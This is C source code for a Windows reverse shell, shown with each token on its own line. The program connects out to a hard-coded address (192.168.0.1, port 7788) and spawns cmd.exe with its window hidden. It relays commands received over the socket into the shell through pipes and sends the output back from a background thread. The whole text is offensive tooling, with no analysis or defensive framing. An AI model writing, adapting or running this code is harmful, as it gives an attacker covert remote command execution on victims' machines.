typedef struct send_to_server
{
HANDLE hParentRead;
SOCKET s;
char readBuffer[
0x4000
];
}SEND_TO_SERVER,
*
PSEND_TO_SERVER;
VOID readCmdOutPut(PSEND_TO_SERVER pSts)
{
DWORD dwReadSize
=
0
;
do
{
memset(pSts
-
>readBuffer,
0
,
0x4000
);
dwReadSize
=
0
;
BOOL
bRet
=
PeekNamedPipe(pSts
-
>hParentRead, pSts
-
>readBuffer,
0x4000
, &dwReadSize, NULL, NULL);
if
(dwReadSize >
0
)
{
bRet
=
ReadFile(pSts
-
>hParentRead, pSts
-
>readBuffer,
0x4000
, &dwReadSize, NULL);
send(pSts
-
>s, pSts
-
>readBuffer, strlen(pSts
-
>readBuffer),
0
);
}
else
{
Sleep(
0.5
*
1000
);
}
}
while
(TRUE);
}
VOID cmd_pipe(SOCKET s)
{
HANDLE hParentRead, hParentWrite, hChildRead, hChildWrite;
STARTUPINFOA si
=
{
0
};
si.cb
=
sizeof(si);
PROCESS_INFORMATION pi
=
{
0
};
DWORD dwWriteBytes
=
0
;
DWORD dwReadBytes
=
0
;
DWORD dwBytesRead
=
0
;
DWORD dwTotalBytesAvail
=
0
;
DWORD dwBytesLeftThisMessage
=
0
;
SECURITY_ATTRIBUTES sa
=
{
0
};
sa.lpSecurityDescriptor
=
0
;
sa.nLength
=
sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle
=
TRUE;
BOOL
bRet
=
CreatePipe(&hParentRead, &hChildWrite, &sa,
1024
);
bRet
=
CreatePipe(&hChildRead, &hParentWrite, &sa,
1024
);
GetStartupInfoA(&si);
si.hStdInput
=
hChildRead;
si.hStdError
=
si.hStdOutput
=
hChildWrite;
si.dwFlags
=
STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow
=
SW_HIDE;
char cmd[MAX_PATH]
=
{
0
};
GetSystemDirectoryA(cmd, sizeof(cmd));
strcat_s(cmd,
"\\cmd.exe"
);
LPSTR lpApplicationName
=
(LPSTR)
"cmd.exe\r\n"
;
bRet
=
CreateProcessA(cmd, NULL, NULL, NULL, TRUE,
0
, NULL, NULL, &si, &pi);
Sleep(
1
*
1000
);
PSEND_TO_SERVER pSts
=
(PSEND_TO_SERVER)calloc(
1
, sizeof(SEND_TO_SERVER));
if
(pSts
=
=
NULL)
{
return
;
}
pSts
-
>hParentRead
=
hParentRead;
pSts
-
>s
=
s;
HANDLE hReadThread
=
CreateThread(NULL,
0
, (LPTHREAD_START_ROUTINE)readCmdOutPut, pSts,
0
, NULL);
char szBuffer[
1025
];
do
{
memset(szBuffer,
0
,
1025
);
int
recvLen
=
recv(s, szBuffer,
1024
,
0
);
if
(recvLen >
0
)
{
strcat_s(szBuffer,
"\r\n"
);
WriteFile(hParentWrite, szBuffer, strlen(szBuffer), &dwWriteBytes,
0
);
Sleep(
0.5
*
1000
);
}
else
{
/
/
printf(
"server exit\n"
);
free(pSts);
break
;
}
if
(WAIT_OBJECT_0
=
=
WaitForSingleObject(pi.hProcess,
0
))
{
send(s,
"cmd exit\n"
, strlen(
"cmd exit\n"
),
0
);
free(pSts);
break
;
}
}
while
(true);
TerminateProcess(pi.hProcess,
0
);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hParentRead);
CloseHandle(hParentWrite);
CloseHandle(hChildRead);
CloseHandle(hChildWrite);
}
int
main()
{
WSADATA wsaData;
int
ret
=
WSAStartup(MAKEWORD(
2
,
2
), &wsaData);
SOCKET s
=
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in ServerAddr;
ServerAddr.sin_family
=
AF_INET;
inet_pton(AF_INET,
"192.168.0.1"
, &ServerAddr.sin_addr);
ServerAddr.sin_port
=
htons(
7788
);
connect(s, (SOCKADDR
*
)&ServerAddr, sizeof(ServerAddr));
Sleep(
100
);
cmd_pipe(s);
closesocket(s);
WSACleanup();
return
0
;
}